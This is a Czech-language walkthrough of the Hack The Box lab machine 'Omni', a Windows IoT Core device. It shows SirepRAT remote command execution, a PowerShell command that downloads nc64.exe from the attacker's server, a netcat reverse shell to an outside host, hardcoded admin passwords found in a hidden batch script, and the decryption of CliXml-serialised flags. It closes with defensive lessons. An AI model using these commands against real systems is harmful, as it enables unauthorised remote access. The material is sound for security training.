Omni
Úvod a kontext
Omni je spíš embedded zařízení než klasický Windows server. Na 8080/tcp neběží běžná aplikace, ale Windows Device Portal pro Windows IoT Core. A i flagy jsou uložené jinak než obvykle: ne jako textové soubory, ale jako PowerShell CliXml serializované credential objekty.
Právě tahle odlišnost je na stroji nejzajímavější. Nedává smysl hledat SMB, WinRM nebo typické doménové chyby. Celý řetězec stojí na správě IoT zařízení, na rozhraní Sirep a na provozním skriptu, který sám resetuje heslo administrátora.
Z pohledu architektury je Omni dobrý doplněk i k článku Exponovaná debug, maintenance a administrační rozhraní, protože Windows Device Portal je přesně ten typ rozhraní, který vypadá jako servisní detail, ale ve skutečnosti tvoří hlavní správní vrstvu zařízení.
Počáteční průzkum
Windows Device Portal na 8080
Scan ukáže jen RPC na 135/tcp a HTTP službu na 8080/tcp. Ta vrací 401 Unauthorized s realmem Windows Device Portal, takže je hned jasné, že cíl běží na Windows IoT a že další postup se má soustředit právě na správu zařízení.
IP=10.10.10.204;ports=$(nmap -p- --min-rate=1000 -T3 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v -Pn $IP
135/tcp open msrpc Microsoft Windows RPC
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=Windows Device Portal
V tu chvíli dává smysl zahodit běžné webové workflow a přepnout se na nástroje pro Windows IoT.
Analýza zjištění
SirepRAT jako první příkazový kontext
Na Omni funguje SirepRAT, který umí přes Sirep rozhraní spouštět příkazy na zařízení i bez běžného interaktivního shellu. Nejprve dává smysl ověřit, že spojení funguje a že příkazy běží v kontextu přihlášeného uživatele.
python SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo "
Jakmile je potvrzené vzdálené spouštění, nejpraktičtější je stáhnout si na zařízení nc64.exe a otevřít si první reverzní shell.
python -m SimpleHTTPServer 8000
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "powershell" --args " iwr http://10.10.14.17:8000/nc64.exe -outfile c:\programdata\nc64.exe"
Skrytý r.bat a heslo administrátora
Po získání shellu je klíčové projít i skryté batch soubory. Právě tam leží hlavní tajemství stroje: r.bat v nekonečné smyčce resetuje heslo lokálního účtu administrator na _1nt3rn37ofTh1nGz a zároveň maže ostatní členy skupiny administrators.
dir /a:h /b /s *.bat
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
Tohle je rozhodující bridge krok. Není potřeba hledat další privilege escalation. Stačí zneužít už existující správní mechanizmus zařízení a přihlásit se do Device Portalu jako administrator.
Je to zároveň čistý provozní pattern popsaný v článku Údržbové skripty a provozní automaty jako zdroj přístupů: maintenance rutina neobsahuje exploit, ale sama resetuje privilegovaný přístup do předvídatelného stavu.
Získání přístupu
Device Portal jako administrator
Po přihlášení do Windows Device Portalu s nalezeným heslem už není potřeba další exploit. V sekci Processes -> Run Command lze spustit nc64.exe a otevřít si plnohodnotný PowerShell shell jako administrátor.
c:\programdata\nc64.exe 10.10.14.17 4000 -e powershell
Na Omni je to zároveň uživatelský i privilegovaný kontext. Flagy jsou ale uložené jako serializované PowerShell credentials, takže je nestačí type nebo cat.
Získání user flagu
User flag je potřeba importovat jako CliXml a vytáhnout z něj skutečné heslo/secret.
Právě takové ne-textové credential kontejnery rozebírám i v článku Klientské, desktopové a ne-textové artefakty po footholdu, protože po prvním shellu bývají podobné formáty často cennější než obyčejné .txt soubory.
$credential = Import-CliXml -Path user.txt
$credential.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
Eskalace oprávnění
Získání root flagu
Na Omni už po přihlášení jako administrator není samostatná privilege escalation potřeba. Root flag je uložený stejným způsobem jako user flag, takže se znovu čte přes Import-CliXml.
$credential = Import-CliXml -Path root.txt
$credential.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
Shrnutí klíčových poznatků
- Omni nestojí na klasickém serverovém stacku, ale na Windows IoT Core a
Windows Device Portal. - První praktický přístup otevírá
SirepRAT, ale skutečný zlom přinese až skrytýr.bat, který průběžně resetuje hesloadministrator. - Na tomto stroji není samostatná root eskalace; rozhodující je přechod ze Sirep shellu do plnohodnotné správy zařízení.
- Flagy nejsou na disku jako prostý text; je potřeba chápat i PowerShell specifika jako
CliXmlserializaci credential objektů.
Co si odnést do praxe
- IoT a embedded edice Windows potřebují samostatný bezpečnostní model.
Windows Device Portalje z obranného pohledu plnohodnotné administrační rozhraní, ne vedlejší servis. - Pomocné skripty a maintenance batch soubory nesmějí obsahovat tvrdě zapsaná hesla ani rutiny na reset přístupů. Právě takové „dočasné“ automatiky často otevřou celý systém.
- Kdo spravuje Windows přes PowerShell, měl by počítat i s tím, že tajemství mohou být uložená v serializovaných objektech. Ochrana dat nekončí tím, že soubor není čitelný jako běžný text.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky